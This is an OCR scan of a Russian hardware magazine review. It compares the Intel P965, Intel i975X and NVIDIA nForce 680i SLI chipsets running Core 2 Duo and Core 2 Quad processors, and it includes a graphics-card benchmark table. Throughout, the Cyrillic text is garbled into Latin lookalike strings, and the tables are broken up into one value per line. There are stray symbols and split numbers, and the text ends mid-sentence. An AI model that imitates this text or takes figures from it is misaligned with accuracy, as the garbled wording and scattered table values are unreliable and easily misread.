PCI Express x16 

PCI Express x16 

PCI Express x16 

PCI Express x16 

PCI Express x16 

PCI Express x16 

PCI Express x16 

Hacma Huna/naivmTM, MV\\ 

590/1350 

560/1400 

600/1400 

560/1400 

560/1400 

550/950 

600/1377 

400/800 

590/1380 

OObeM naMBTM, MOanT 

256 

256 

256 

256 

256 

512 

256 

256 

256 

Tun naiviflTM 

GDDR3 SDRAM 

GDDR3 SDRAM 

GDDR3 SDRAM 

GDDR3 SDRAM 

GDDR3 SDRAM 

GDDR2 SDRAM 

GDDR3 SDRAM 

GDDR2 SDRAM 

GDDR3 SDRAM 

l/lHTepcJjeiic naivmTM, 6 mt 

128 

128 

128 

128 

128 

128 

128 

128 

128 

Bpeivm flocTyna k naivmTn, hc 

1,4 

1,4 

1,3 

1,4 

1,4 

2 

1,3 

2,5 

1,4 

npoH3BOAHTejib naivmTM / 
KopnycnpoBKa 

Qimonda 

(Infineon)/ 

pg-tfbga-136 

Samsung/fbga 

Infineon/ 

pg-tfbga-136 

Infineon/ 

pg-tfbga-136 

Infineon/ 

pg-tfbga-136 

Infineon/ 

pg-tfbga-84 

Infineon/ 
pg-tfbga-1 36 

Hynix/fbga 

Infineon/ 

pg-tfbga-136 

flpanBep 

7.1 

93.71 

7.1 

93.71 

93.71 

93.71 

7.1 

93.71 

7.1 

Pe3yjibTaTbi TecTOB 
Prey, KanpoB/c 










1024x768 @32 

89,5 

95,3 

89,7 

95,4 

95,8 

81,2 

62,9 

63,2 

62,3 

1600x1200@32 

52,7 

50,8 

52,5 

50,7 

50,3 

42,9 

33,7 

33,3 

33,4 

1024x768 @32, 4xAA,16AF 

60 

65,1 

58,8 

64,4 

64,8 

52,2 

40,8 

41,3 

40,2 

1600x1 200 @32, 4x AA, 1 6 AF 

33,6 

34,1 

33,4 

34,2 

34,4 

24,5 

19,5 

21 

19,1 

FEAR, xaAPOB/c 










1024x768 @32 

76 

82 

77 

82 

83 

70 

55 

54 

55 

1 600x1 200@32 

38 

41 

38 

41 

41 

35 

26 

27 

26 

1024x768 @32, 4xAA,16AF 

47 

48 

47 

47 

48 

37 

36 

30 

36 

1600x1 200 @32, 4x AA, 1 6 AF 

23 

23 

24 

23 

23 

17 

17 

13 

17 






Far Cry, research KaapoB/c 


1024x768 @32 

73,7 

73,4 

73,7 

73,6 

73,7 

61,4 

42,8 

47,9 

42,4 

1280x1 024@32 

47,3 

47,6 

47 

47,6 

47,2 

38,4 

26,8 

29,9 

26,5 

1 600x1 200 @ 32 

32,7 

33 

32,4 

32,3 

32,6 

26,3 

18,4 

20,5 

18,2 

CMHTeTHHeCKHe TeCTbl, GaJUlOB 










3DMark 05, 1600x1 200 @32 

5291 

4319 

5289 

4327 

4347 

3675 

3615 

2747 

3581 

3DMark 06, 1 600x1 200@ 32 

2962 

2848 

2977 

2843 

2856 

2459 

2139 

1889 

2112 

Codecreatures Pro 

7392 

7579 

7477 

7581 

7582 

6328 

5734 

5259 

5622 


◄ft 


◄ft 

n 



[4ft 

f 


*0 


A a, — HeT I Ot/imhho (100-90) Xopoiuo (89-75) I CpeflHe (74-45) I XqoB/ieTBopme/ibHO (44-0) Bee oueHKki b 6a/i/iax(MaKCMMyM — 100) 


TecTOBbm cieHfl: npopeccop Intel Core 2 Quad 6600, MaiepuHCKaa n/iaia Foxconn p9657aa-8ekrs2h, onepaTMBHaa naMHTb Kingston khx6400D2LLK2/2G 
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HBI? TEST & TECHNICS CpaBHMTenbHoe TecTupoBaHi/ie nunceTOB flrm CPU ot Intel 


HnnceTbi 

m Core 



KoMnam/ifl Intel c BbinycKOM Intel Core 2 Duo, a noTOM 1/1 Intel Core 2 Quad 6/ii/iCTaTe/ibHO 
BepHyna cede jiMflepcTBO Ha pbiHKe ueHTpanbHbix npoueccopoB. KaKOM >Ke HwnceT HB/ineTCfl 
onTMMajibHbiM fl/in nnaTcjDopMbi Core 2? Mbi npoTecmpoBajn/i n/iaTbi Ha 6a3e Intel P965, 
Intel i975X m NVIDIA nForce 680i SLI. 



CneuMctJHKauMM nwnceTOB 


Foxconn N68S7AA 

OflHa M3 nepBbix nonBMB- 
ujmxch Ha pbiHKe nnaT Ha 
ocHOBe HMnceia nForce 
680i SLI 


napaMeTp/HwnceT 

Intel P965 

Intel i975X 

NVIDIA nForce 680i 
SLI 

CeBepHbm MOCT 

82P965 

82975X MCH 

C55 SPP 

HacTOTa cmctcmhom 
LUMH bl. Mr U 

1066/800/533 

1066/800/533 

1333/1066/800/533 

MaxcmviajibHbm odbeivi 
naMHTM, r6aHT 

8 

8 

16 

noflflepjKMBaeivibie 

TMflbl naMBTH 

DDR2-533/667/800 

DDR2-533/667 

DDR2-533/667/ 

800/1067/1200 

1 LUMHbl PCI Express 

2x16,1x8, 6x1 

lx 16 mjim 2x 8; 6x 1* 

1x16, 6x1* 

£ HD)KHblM MOCT 

ICH8R 

ICH7R 

MCP55PXE 

* LLlMHa CBB3M MOCTOB, 

i 2 RjamVc 

DMI 

DMI 

HyperTransport 

Koji-bo nopTOB USB 2.0 

8 

8 

10 

CxopocTb Serial ATA, 
! T6mt/c 

3 

3 

3 

- noflflep)KKa NCQ 

noflflepwKa eSATA 


- 


t Koji-bo nopTOB SATA 

6 

4 

6 

Koji-bo xaHajiOB PATA 

- 

1 

1 

noflflep>KKa RAID 

0,1, 0+1, 5 

0,1, 0+1, 5 

0,1, 0+1, 5 

| CeTb 

- 

- 

2x1 r6m/c 

4 Koji-bo yctpomctb PCI 

6 

6 

5 

3Byx 

High Definition Audio, 
AC’97/20-bit audio 

High Definition Audio, 
AC’97/20-bit audio 

High Definition Audio, 1 
AC’97/20-bit audio 


Foxconn 

^ P9657AA-8EKRS2H 

ocHOBaHa Ha HMnceie Intel 
P965. OTHOCMTenbHO ,qo- 
CTynHoe m BMecTe c TeM 
npoM3BOflMTenbHoe pemeHMe I 









B 3 T 0 M CTaTbe 

flBe Maiepi/iHCKi/ie n/iaibi Ha ni/max Intel 
MaiepHHCKaa n/iaia Ha ocHOBe nForce 
llpoueccopbi Core 2 Duo 1/1 Core 2 Quad 
Pe3y/ibTaTbi TecTOB 


T paflHiiHOHHO cnuraeTCH, hto npo- 
iteccopBi KOMnaHHH Intel jiyunie 
Bcero paCoTaiOT Ha uunceTax Toro 
xce npOH3BOAHTejin. B HaineM cpaB- 
HHTejiBHOM TecTHpoBaHHH hx npe#- 
CTaBjiniOT njiaTBi Foxconn P9657AA- 
8EKRS2H Ha 6a3e nuna P965 h Intel 
Desktop Board D975XBX — Ha 6a3e 
i975X, KOTOpBin npHcyTCTByeT Ha 
pBiHKe dojiBine rotta, ho no-npexoreMy 
nBjineTcn tohobbim pemeHneM. P965 — 
6ojiee CBeacan MottejiB, HaitejieHHan Ha 
MaccoBoro noTpedHTejin. 

HnnceT nForce 680i SLI ho3hu;hohh- 
pyeTcn NVIDIA xax jiyumee pemeHHe 
AJin roiaTCpopMBi Core 2, Tax xax npetto- 
CTaBjineT mnpoKHe cpyHxitHOHajiBHBie 
bo3mOvKhocth: 46 jihhhh PCI Express, 
noAztepacxy 1333 Mru; FSB h 1200 MTu, 
SLI-naMHTH c EPP, a Taxace rbb. ceTeBBix 
nopTa Ethernet 1 T6 ht h otjihhhbih pa3- 
tohhbih noTeHioraji — naMHTB, npoitec- 
cop h cjiotbi PCI Express moxcho pa3ro- 

HHTB HHflHBHflyaJIBHO. 


chip Miom Tecra 

TecTMpoBaHMe noKa 3 ajio, hto b HOMMHa/ib- 
Hbix pe>KMMax pa6oTbi o6a Hi/inceia ot 
Intel m ynacTHHK ot AMD fle m o h cip m py kdt 
cxo>KMe pe3y/ibiaTbi. OTcraBaHMe nForce 
b 06/iacTM pa6oTbi c naMfUbio c jimxbom 
KOMneHCMpyeica OT/iMHHbiMM bo3mo>khoc- 
TflMM pj\s\ pa 3 roHa. 3HTy3nacraM mowho 
CMe/io nopeKOMeHflOBaib cMcreMHbie n/ia- 
Tbi Ha ocHOBe nForce 680i SLI. TeM we, 
KOMy Tpe6yeica onn/iManbHoe cooTHome- 
HMe LteHbl M np 0 M 3 B 0 flMTe/lbH 0 CTM, /lyniue 
Bbi6paTb Intel 965i. 


PA3rOHHblM nOTEHIJMAJl 

ynaCTHMKM 


IIpe>Kae ueM paccMOTpeTB pe3yjiBTaTBi Tec- 
THpOBaHHB, npOBepHM pa3rOHHBIH nOTeH- 
itnaji ycTpohcTB. IIjiaTa Foxconn P9657AA- 
8EKRS2H no3BOJineT h3mchhtb uacTOTy 
CHCTeMHOH niHHbi b £Hana30He ot 133 no 
600 Mru; c maroM 1 Mru;. IIpH otom 
M axcHMajiBHan uacTOTa FSB, Ha xoTOpon 
iuiaTa padoTajia CTaGnjiBHO, cocTaBHjia 
1260 MTn. Intel Desktop Board D975XBX 
He notmepacHBaeT HHxaxux bo3mo>khoc- 
Ten jum pa3roHa — TaxoBa ocpHUMajiBHaa 
nojiHTHxa Intel. BenB He cexpeT, hto pa3- 
toh coxpauxaeT cpox cjiyacdBi xoMiuiexry- 
iolhhx. PexopACMeHOM b 3toh xaTeropHH 
CTajia ruiaTa Foxconn N68S7AA, craGiuiB- 
ho padoTaBman Ha uacTOTe FSB 1800 Mru;. 


EcTecTBeHHO, MHOvKHTejiB npoiteccopa 

npH 3TOM 6bUI BBICTaBJieH Ha MHHHMaJIB- 
Hoe 3 HaneHHe — 6 . 


TECTOBblE nPI/IJ10>KEHI/l5l 

Pew mm TecmpoBaHMfl 


TeCTHpOBaHHe npOBOAHJIOCB C HOMHHaJIB- 
HBIMH HaCTOTaMH £JIH Bcex COCTaBJIHIOLHHX 
CHCTeMBI. Il 03 T 0 My npH 03 HaXOMJieHHH c 
pe 3 yjiBTaTaMH TecTOB noxroHHHxaM pa 3 - 
TOHa CTOHT nOMHHTB O HeynTCHHOM 3 AeCB, 
ho onncaHHOM b npe^BmymeM a 63 au;e 
npeBoexotteTBe nunceTa ot NVIDIA, jih 
ocTajiBHBix ace nojiB 30 BaTejieu hmchho 
aaHHBie pe 3 yjiBTaTBi h 6 yayr HaHjiyuniHM 
xpHTepueM BBidopa MarepHHexoH roiaTBi 
Ha tom hjih hhom uunceTe. 

Super PI 

TecT no3BOJineT oiteHHTB cxopocTB pacue- 
Ta HHCJia If C TOHHOCTBK) OT 16 TBICHH JIO 
32 MHJIJIHOHOB 3HaXOB nOCJie 3anHTOH. 
MbI 3aMepHJIH BpeMH BBIHHCJieHHH CO 
BceMH npettocTaBjineMBiMH Ha bbi6op 
BapuaHTaMH tohhocth. Core 2 Duo E6700 
TpaTHT 3aMeTHO MeHBine BpeMeHH, Heace- 
jih Core 2 Quad Q6600, Ha pacueT If BHe 

3 aBHCHMOCTH OT TOHHOCTH, HTO CBHfle- 
TejiBCTByeT 06 OTcyrcTBHH onTHMH 3 an;HH 
Super PI ajih MHoronpoiteccopHBix 



Intel Desktop Board 
D975XBX 

OTBHHaeTCfl Hafle>KHOCTbK) 
i/i CTadmibHOCTbio padOTbi, 
ho He npefloCTaB/iaeT B03- 
M0>KH0CTI/l pa 3 fOHa 



HBI? TEST & TECHNICS CpaBHMTenbHoe TecTupoBam/ie nunceTOB flrm CPU ot Intel 



BflEPBblE flJlfl CORE 2 


| nOflBMJiaCb B03M0)KH0CTb MCn0Jlb30BaTb flBe 
BMfleonjiaTbi b SLI-pexaiMe Ha HMne nForce 680i SLI. AHajiorMHHoe 
pemeHMe ot Intel noxa TOJibKO oKMflaeicH 


cncTeM. CymecTBeHHaii pa3HHu;a cpean 
HHneeTOB nOHBJIHeTCH TOJIBKO Ha CBepX- 
AJIHHHBIX JXH CTaHIJHilX. IlpHHeM O^HO- 

3HaHHoro jmaepa bbmbhtb He yaajiocb. 
Core 2 Duo noKa3aji caMBie 6BicTpBie 
pe3yjiBTaTBi Ha aunceTax Intel, a Core 2 
Quad — Ha nForce 680i SLI. Core 2 Duo 
cjia6o (JiyHKHHOHHpyeT Ha nForce 680i 
SLI, a Core 2 Quad — Ha Intel i975X. 

CrystalMark 

CrystalMark — KOMnjieKT npHjioxe- 
HHH, n03B0JHH0IItHX npOTeCTHpOBaTB 

padcrry npoiteccopa, naMHTH, HDD h 
BHfleonottCHCTeMBi . HcnojiB30BaBinanc5i 
BepCHH nottflepJKHBaeT aeTbipex'battcp - 
HBie npoiteccopBi Intel, nooTOMy Core 2 
Quad Q6600 6e3 oco6bix ycnjiHH odo- 
rneji Core 2 Duo E6700. B TecTax ALU 
h FPU npeBOCxoflCTBO noaTH ttByKpaT- 
Hoe. Cpettn unnceTOB jinttepOM aBjiaeT- 


ca Intel P965 — o6a npoiteccopa noica3a- 
jih npn padoTe c hhm jiyanme pe3yjibra- 
tbi. nForce 680i SLI h Intel i975X OTCTajiH 
H3-3a Heyztaa b TecTe nottcncTeMbi 03Y. 

Hot CPU Tester 

HecMOTpn Ha to hto b cneitHcjiHKaitHH 
TecTOBoro naxeTa 3aaBjieHa nojima non- 
ttepauca MyjibranpoiteccopHbix chctcm, 
Core 2 Duo E6700 BbrarpbiBaeT y Core 2 
Quad Q6600 no odmeMy HadpaHHOMy 
pe3yjiBTaTy. H3 aunceTOB nepBoe MecTO 
3aHHMaeT P965, HeMHoro OTCTaeT i975X. 
NVIDIA nForce 680i SLI onaTb npOBajinji 
TecTHpoBaHne 03Y. 

Fritz Chess Benchmark 

TecTOBBin naxeT Fritz Chess Benchmark 
OCHOBaH Ha H3BeCTHOH inaxMaTHoii npo- 
rpaMMe Fritz. 3aaBjieHa noaaep>KKa MyjiB- 
THnpoiteccopHBix cncTeM, npiraeM TecT 


no3BOJiHeT BBidnpaTB, KaKoe KOJinaecTBO 
aocTynHbix npoiteccopHBix attep 3aaenc- 
TBOBaTB jum HrpBi b maxMaTBi. B tmyajtep- 
hom peacHMe Core 2 Quad Q6600, KaK h 
cjieaoBajio o>KuaaTb, ycTynaeT Core 2 Duo 
E6700 H3-3a donee hh3koh TaKTOBOH aac- 
totbi. Ho noaKJnoneHHe TpeTbero h aeT- 
BepToro aapa npn pacaeTe maxMaTHbix 
KOMdnHaitHH npHBejio k TOMy, uto asya- 
aepHbiii npoiteccop ocTaaca aaJieKO ncm- 
an. B HOMHHajibHOM peacHMe padora Core 
2 Quad Q6600 cnocodeH npocanraTb noam 
7 mjih maxMaTHbix no3Hu;HH b ceKyHay. 
fljia cpaBHeHH a npHBeaeM aaHHbie 3HaMe- 
hhtoto cynepKOMnbiOTepa Deep Blue — 
b 1991 roay OH npocanrbiBaji 7 mjih kom- 
dHHaitHH b ceKynay, a b 1997-m— yxe 
200 mjih. npeHMyutecTBO Core 2 Quad b 
HeTbipexbaaepHOM pexoiMe, aero h cjieao- 
Bajio oacuaaTb H3 TeopHH Myjibmnpoitec- 
copHbix cncTeM, HHKoraa He aocTnraeT 



MHliIHUiMUlll'JUHXOrJHll cmctbmhom n/iaTbi Foxconn Ha ocHOBe 
nForce 6801 SLI TaxHe we, xax n y petueHiiu, H3roTOBneHHbix Ha ocHOBe 
npoflyKTa KOHKypMpytouiero npoM3BOjnmenn 


PCMARK 05 


napaivieTp/HMnceT 

Core 2 Quad 
P965 

Core 2 Quad 
i975X 

Core 2 Quad 
680i 

Core 2 Duo 
P965 

Core 2 Duo 
i975X 

Core 2 Duo 
680i 

Memory Read 16 Mdaih, MbawT/c 

5402,954 

5348,088 

6989,459 

6463,875 

6659,762 

6684,58 

Memory Read 8 M6auT, MdamYc 

6825,566 

6818,009 

8172,142 

7561,958 

7804,893 

8139,507 

Memory Read 192 K6aiiT, MGamVc 

14 625,515 

14 353,195 

15 336,348 

17 022,967 

17 018,461 

16 288,601 

Memory Read 4 K6am\ MdamVc 

35 940,105 

35 275,156 

36 009,168 

39 965,383 

39 936,898 

40 050,23 

Memory Write 1 6 Mdaih, M6aHT/c 

4618,995 

4510,33 

4626,508 

4614,948 

4603,737 

4631,698 

Memory Write 8 MdawT, MdaiuYc 

4618,751 

4512,131 

4625,527 

4614,25 

4603,289 

4632,285 

Memory Write 1 92 Kdaih, MGainVc 

15 040,657 

14 758,176 

15 065,804 

16 723,289 

16 687,289 

16 758,375 

Memory Write 4 KGairr, MdamVc 

35 003,344 

34 392,652 

35 063,734 

38 914,004 

38 909,066 

38 996,836 

Memory Copy 16 M6am-, M6awT/c 

4642 

4501,668 

5077,529 

4940,196 

4929,158 

5066,644 

Memory Copy 8 MdawT, Mdaiu/c 

4914,215 

4748,334 

5287,917 

5145,012 

5141,153 

5296,39 

Memory Copy 1 92 M6am\ M6aiiT/c 

14 312,056 

14 054,347 

14 366,222 

15 950,729 

15 923,811 

15 944,748 

Memory Copy 4 K6am\ MdamVc 

36 081,699 

35 406,762 

36 141,703 

40 118,563 

40 034,199 

40 190,801 

Memory Latency 16 M6am\ mjih/c 

12,107 

11,949 

12,533 

11,985 

12,855 

12,603 

Memory Latency 8 M6am\ mjih/c 

14,457 

14,651 

15,202 

14,9 

15,332 

14,983 

Memory Latency 1 92 KdawT, mjih/c 

155,268 

155,146 

155,098 

172,032 

172,833 

172,315 

Memory Latency 4 KdaMT, mjih/c 

798,29 

799,683 

799,67 

886,984 

888,53 

888,514 
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HOT CPU TESTER 


Core 2 Quad Core 2 Duo 


napaMeip/HMnceT 

P965 

i975X 

680i SLI 

P965 

i975X 

680i 

0dmnw pesyjibiaT, 6ajuiOB 

11 253 

11 248 

10 861 

12 423 

11 960 

11 160 

MetaBench, dannbi/nacTOTa 

4,72 

4,69 

4,53 

4,67 

4,49 

4,19 

Integer Instructions, mrh MHCTpyKUMM/c 

1,444 

1,445 

1,437 

1,159 

1,141 

1,159 

Floating-point Instructions, mrh MHCTpyKouu/c 

802 

770 

806 

887 

877 

893 

MMX Instructions, mhh MHCTpyKUMM/c 

1,177 

1,177 

1,171 

1,303 

1,286 

1,303 

SSE Instructions, mrh MHCTpyxqnM/c 

353 

353 

351 

391 

385 

391 

SSE2 Instructions, mrh MHCTpyxqnM/c 

328 

328 

326 

362 

359 

362 

Memory fillrate memepy method, Mdairr/c 

3,368 

3,2 

2,758 

3,95 

3,333 

2,58 

Memory fillrate C++ method, M6amVc 

3,137 

2,857 

2,406 

3,404 

3,168 

2,388 

Memory rep movsd, Mdain/c 

3,368 

3,168 

2,758 

3,764 

3,368 

2,519 

Memory FPU 8 dain Ha dnox, MdawT/e 

3,2 

2,935 

2,519 

3,636 

3,2 

2,388 

Memory Assembly (4 dairra Ha dnoK), Mdairr/c 

3,076 

2,807 

2,406 

3,516 

3,106 

2,352 

Memory Assembly (8 daHT Ha dnoK), Mdawi/c 

3,106 

2,857 

2,48 

3,404 

3,168 

2,352 

Memory fillrate MMX (8 daifr Ha dnoK), Mdain/c 

3,137 

2,909 

2,519 

3,595 

3,2 

2,335 

Memory fillrate MMX (16 dawT Ha dnoK), Mdain/c 

3,232 

2,882 

2,48 

3,516 

3,232 

2,406 

Memory fillrate SSE (16 dain Ha dnox), Mdaifr/c 

3,232 

2,962 

2,48 

3,595 

3,298 

2,335 

Memory fillrate SSE movntq (8 daifr Ha dnox), Mdain/c 

4,571 

4,324 

4,848 

4,705 

4,507 

4,444 

Memory fillrate SSE movntq (16 daiiT Ha dnox), MdamVc 

4,637 

4,324 

4,848 

4,776 

5 

4,571 

Memory fillrate SSE prefetch movntq (1 6 dauT Ha dnox), MdainVc 

5 

4,507 

4,848 

5,079 

4,848 

4,923 

Memory fillrate SSE movntps (16 daiiT Ha dnox), Mdairr/c 

4,848 

4,637 

4,848 

5,079 

4,848 

4,571 

Memory fillrate SSE prefetch movntps (32 dairra Ha dnox) MdamVc 

4,923 

4,705 

4,923 

4,923 

5 

4,705 

Memory fillrate SSE2 prefetch movntps (16 dam Ha dnox), Mdam/c 

3,2 

3,076 

2,48 

3,595 

3,298 

2,406 

Insertion Sort, Tbic. aneivieHTOB/c 

80 

80 

80 

88 

89 

88 

Shell Sort, Tbic. aneMeHTOB/c 

1,872 

1,895 

1,871 

2,093 

2,056 

2,099 

Merge Sort, Tbic. aneivieHTOB/c 

3,541 

3,553 

3,543 

3,965 

3,98 

3,903 

Heap Sort, Tbic. anewieHTOB/c 

2,573 

2,637 

2,522 

2,842 

2,828 

2,701 

Quick Sort, Tbic. anewieHTOB/c 

7,418 

7,451 

7,401 

8,264 

8,298 

8,223 

Large Objects Sort, Tbic. anewieHTOB/c 

2,349 

2,386 

2,194 

2,596 

2,566 

2,254 

Fast Fourier Transformg (Standard), xdam/c 

4,379 

4,397 

4,399 

4,9 

4,833 

4,877 

Fast Fourier Transformg (Optimized), xdam/c 

13,254 

13,254 

13,17 

14,604 

14,409 

14,604 


100%. ITpiraeM flBa pa BbiHrpbiBaiOT y 
oflHoro dojibine, hcm neTbipe y jiByx. 

Bee TpH npHHHMafomux ynacrae b Tec- 
THpOBaHHH Ha6opa CHCTeMHOH JIOrHKH 
AeMOHCTpHpyiOT MaeHTHHHyiO npOH3BO- 
AHTejiBHOCTB — oaH03HauHoro Jinaepa 
kjih ayTcaOaepa He BbinBjieHO. 

SPECviewperf 

Ochobhoh 3a^aHeH TecTOBoro naxeTa 
SPECviewperf hbjihctch Hccjie£OBaHHe 
npo<J)eccHOHajiBHLix 3 D -ycxopHTejieH . 
OaHaxo djiaronapa HHTeHCHBHOMy noTO- 
Ky aaHHbix, nepeaaiomeMycH no HiHHaM 
MaTepHHCKon roiaTbi k BnaeomiaTe, Ha 
pe3yjibTaTe cxa3biBaK)TCH h pa3JiHUHH b 
peajiH3apHH rpacjMnecxHx HHTepc|)eHCOB . 
B OojibniHHCTBe TecTOB pe 3 yjibTaTbi oxa- 
3 ajiHCb OMeHb noxoxHMH. B TecTe xce 
maya-02 npn Hcnojib30BaHHH HeTbipexb- 
imepHoro npopeccopa c npeHMymecTBOM 


nopanxa 12% jinanpyeT P965. B stom xce 
TecTe, ho npn Hcnojib30BaHHH nByHnep- 
Horo npoueccopa ot ko h xype hto b OTCTaji 
HnnceT i975X. 

WinRAR 3.62 

nojiyHHBiHHH nmpoKoe pacnpocTpaHe- 
Hne apxHBaTOp WinRAR noaaepxcHBaeT 
MHOrOnOTOHHOCTb HanHHan C BepCHH 
3.60. Mbi npOTecTHpOBajin npopeccopbi c 
pa3HbIM HHCJIOM nOTOKOB — OT ORHOTO aO 
BocbMH. Kax h cjieaoBajio oxnaaTb, Core 
2 Quad BbmrpbiBaeT y Core 2 Duo, oaHa- 
xo npeHMymecTBO HeBejinxo. IlpHneM 
HanjiynniMH pe3yjibTaT 06 a npopeccopa 
aeMOHCTpHpyiOT npn 3anycxe apxHBHpo- 
BaHHH C HHCJIOM nOTOXOB, dOJIblHHM Ha 
eaHHHay, ueM hhcjio iiaep. HnnceTbi 
P965, i975X h nForce 680i SLI aeMOHC- 
TpHpyiOT HaeHTHHHbiii pe3yjibTaT npn 
apxHBHpoBaHHH npopeccopOM Core 2 


Duo. Core 2 Quad bhobb npoaeMOHCTpn- 
pOBaji HejiiodoBb x nForce 680i SFI, ycTy- 
nHB aaxce Core 2 Duo. 

3DMark 06 

Illnpoxo H3BecTHbiH TecTOBbiH naxeT 
3DMark no3BOJineT oneHUTb npOH3Boau- 
TejibHOCTb BnaeomiaT b urpax Heaajiexoro 
dynymero. FlocjieajniH Bepcna noaaepxcu- 
BaeT MHoronoTOHHOCTb CPU, noaTOMy 
h eTbipexbHaep h an Moaejib b TecTe npouec- 
copoB cyMejia npoaBHTb ceda c jiyumeiT 
CTopoHbi. Ho Ha odmeM pe3yjibraTe 3 to, 
xoHenHO, nouTH He cxa3ajiocb: CHCTeMa c 
Core 2 Quad Q6600 Hadpajia 4357 dajuioB, 
a c Core 2 Duo E6700 - 4191. 

Ecjih odpaTHTbCii x noaTecTy CPU, to 
Core 2 Quad Q6600 aeMOHCTpnpyeT 
jiynniHH pe3yjibTaT cobmcctho c Intel 
i975X, a Core 2 Duo E6700 — c nForce 
680i SFI. 
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HBI? TEST & TECHNICS CpaBHMTenbHoe TecTupoBam/ie 


06 mwe pe3yjibTaTbi tcctob 


napaMeTp/HwnceT 

Core 2 

Quad 

P965 

Core 2 
Duo P965 

Core 2 

Quad 

i975X 

Core 2 
Duo i975X 

Core 2 
Quad 680i 

Core 2 
Duo 680i 

super pi / mod 1.5 XS (epeivm, m:c:ac). MeHbme - jiynme 

16k 

0:0:204 

0:0:172 

0:0:204 

0:0:188 

0:0:218 

0:0:187 

32k 

0:0:422 

0:0:375 

0:0:422 

0:0:39 

0:0:422 

0:0:375 

64k 

0:0:922 

0:0:828 

0:0:906 

0:0:828 

0:0:906 

0:0:828 

128k 

0:1:985 

0:1:781 

0:1:968 

0:1:781 

0:1:969 

0:1:781 

256k 

0:4:329 

03:891 

0:4:312 

0:3:875 

0:4:282 

0:3:891 

512k 

0:9:609 

0:8:625 

0:9:562 

0:8:625 

0:9:531 

0:8:641 

1m 

0:21:234 

0:19:11 

0:21:156 

0:19:187 

0:21:094 

0:19:219 

2m 

0:51:359 

0:46:625 

0:51:468 

0:47:047 

0:51:766 

0:48:781 

4m 

1:59:141 

1:48:218 

2:00:265 

1:48:375 

1:59:078 

1:54:375 

8m 

4:27:906 

4:02:797 

4:30:032 

4:04:704 

4:27:656 

4:17:515 

16m 

9:57:171 

9:04:250 

9:59:93 

9:03:672 

9:54 

9:34:953 

32m 

21:44:641 

19:54:156 

22:00:171 

19:54:297 

21:36:562 

20:52:609 

CrystalMark 0.9.121.320, 6amibi. Eojibiue 

- nynme 





all 

188 072 

152 040 

185 497 

148 981 

182 241 

151 715 

alu 

42 226 

23 564 

42 598 

23 384 

41 838 

23 625 

fpu 

49 950 

28 667 

49 758 

28 384 

49 324 

29 726 

memory 

19 623 

15 090 

18 323 

14 540 

14912 

13 575 

Hot CPU Tester Pro 4, 6amibi. Bojibme - Jiynwe 

06u \m pesy/ibiar 

11 253 

12 423 

11 248 

11 960 

10 861 

11 160 

Firtz Chess Benchmark 







relative speed (4) 

14,26 


14,22 


14,15 


Kilo nodes per second (4) 

6843 


6824 


6791 


relative speed (3) 

10,84 


10,85 


10,81 


Kilo nodes per second (3) 

5205 


5208 


5191 


relative speed (2) 

7,3 

7,93 

7,26 

7,9 

7,32 

8,11 

Kilo nodes per second (2) 

3501 

3806 

3485 

3791 

3513 

3894 

relative speed (1) 

3,67 

3,99 

3,62 

4,03 

3,68 

4,07 

Kilo nodes per second (1) 

1761 

1916 

1739 

1934 

1768 

1952 

SPECviewperf 9.0 







3dsmax-04 

14,63 

16,48 

14,28 

16,36 

14,85 

16,26 

catia-02 

14,77 

16,21 

14,59 

15,82 

14,36 

15,92 

ensight-03 

10,13 

11,1 

10,73 

11,14 

9,904 

10,8 

light=08 

13,34 

15,5 

13,34 

15,5 

12,6 

15,5 

maya-02 

29,91 

27,99 

26,68 

24,8 

25,5 

27,86 

proe-04 

10,72 

11,21 

10,51 

10,63 

10,31 

10,68 

sw-01 

20,46 

21,55 

19,94 

20,73 

19,42 

21,04 

ugnx-01 

2,948 

2,948 

2,948 

2,948 

2,949 

2,949 

tcvis-01 

2,176 

2,567 

2,575 

2,548 

1,939 

2,722 

WinRAR 3.62 (BpeMR, c). MeHbme - nynme 

1 nOTOK 

77 

74 

77 

72 

78 

74 

2 noTOxa 

72 

70 

70 

69 

76 

72 

3 noTOxa 

55 

50 

54 

51 

58 

55 

4 noTOxa 

48 

56 

49 

57 

57 

60 

5 nOTOKOB 

44 

51 

45 

52 

58 

55 

6 nOTOKOB 

50 

54 

50 

54 

61 

59 

7 nOTOXOB 

48 

51 

48 

51 

58 

55 

8 nOTOKOB 

46 

54 

47 

54 

59 

58 

3DMark 06 (1024x768) 







Overall 

4357 

4191 

4356 

4185 

4355 

4197 

CPU score 

3527 

2320 

3573 

2262 

3545 

2337 

3DMark 05 (1024x768) 







06u|hh 6ann 

6174 

6212 

6146 

6226 

6193 

6243 

CPU score 

10177 

10 274 

9818 

10 048 

9635 

9351 

PCMark 05 







PCMark Score 

7242 

6522 

7129 

6419 

7185 

6547 

CPU score 

7708 

6800 

7594 

6717 

7669 

6803 

Memory Score 

5159 

5593 

5184 

5629 

5386 

5679 

Graphics Score 

5708 

5840 

5428 

5556 

5699 

5853 

HDD Score 

5287 

5305 

5302 

5316 

5558 

5584 

FEAR 







640x480 minimum 

315 

323 

319 

321 

314 

324 

Far Cry 1.4 research 







800x600 minimum 

323,62 

353,99 

320,82 

353,14 

321,89 

351,8 


HunceTOB flrm CPU ot Intel 

3DMark 05 

YcTapeBaiomHH 3DMark 05 He #aeT 
HHKaKoro npeHMymecTBa ueTBipeM 
iTApaM, a BOT BBICOKOH TaKTOBOH UaC- 
TOTe, HanpOTHB, pa#. Ilo3TOMy c 
HeOoJIBIHHM npeHMymeCTBOM B 3TOM 

HcnBiTaHHH jiH^MpyeT Core 2 Duo. 
HnnceTBi ^eMOHCTpHpyiOT npaKranec- 
KH OAHHaKOBBIH pe3yjIBTaT, HeMHOrO 
OTCTaeT jihiiib nForce 680i SLI. 

PCMark 05 

KaK noKa3ajio TecTHpoBaHHe, PCMark 
05 onTHMH3HpOBaH no# MyjiBTHnpou;ec- 
copHBie CHCTeMBi. Ho npeHMymecTBO 
ueTBipexBiTAepHoro npou;eccopa Haa asy- 
saepHBiM b noaTecTe CPU He npeBBimaeT 
15%. B noaTecTe CHCTeMBi onepaTHBHon 
naMiiTH h HDD HedojiBinoe npeHMymec- 
tbo ocTajiocB 3a nForce 6801 SLI, b 
ocTajiBHOM xce CKOpocTHBie noKa3aTejiH 
HHneeTOB HaeHTHHHBI. 

FEAR m Far Cry 

fljin oQbiuhoto nojiB30BaTejHi urpti 
npeacTaBjiniOT HandojiBinnH HHTepec. 
B HacTOinaHH momcht BpeMeHH noum 
Bee ohm He cnoco6HBi H3BjieuB nojn>3y 
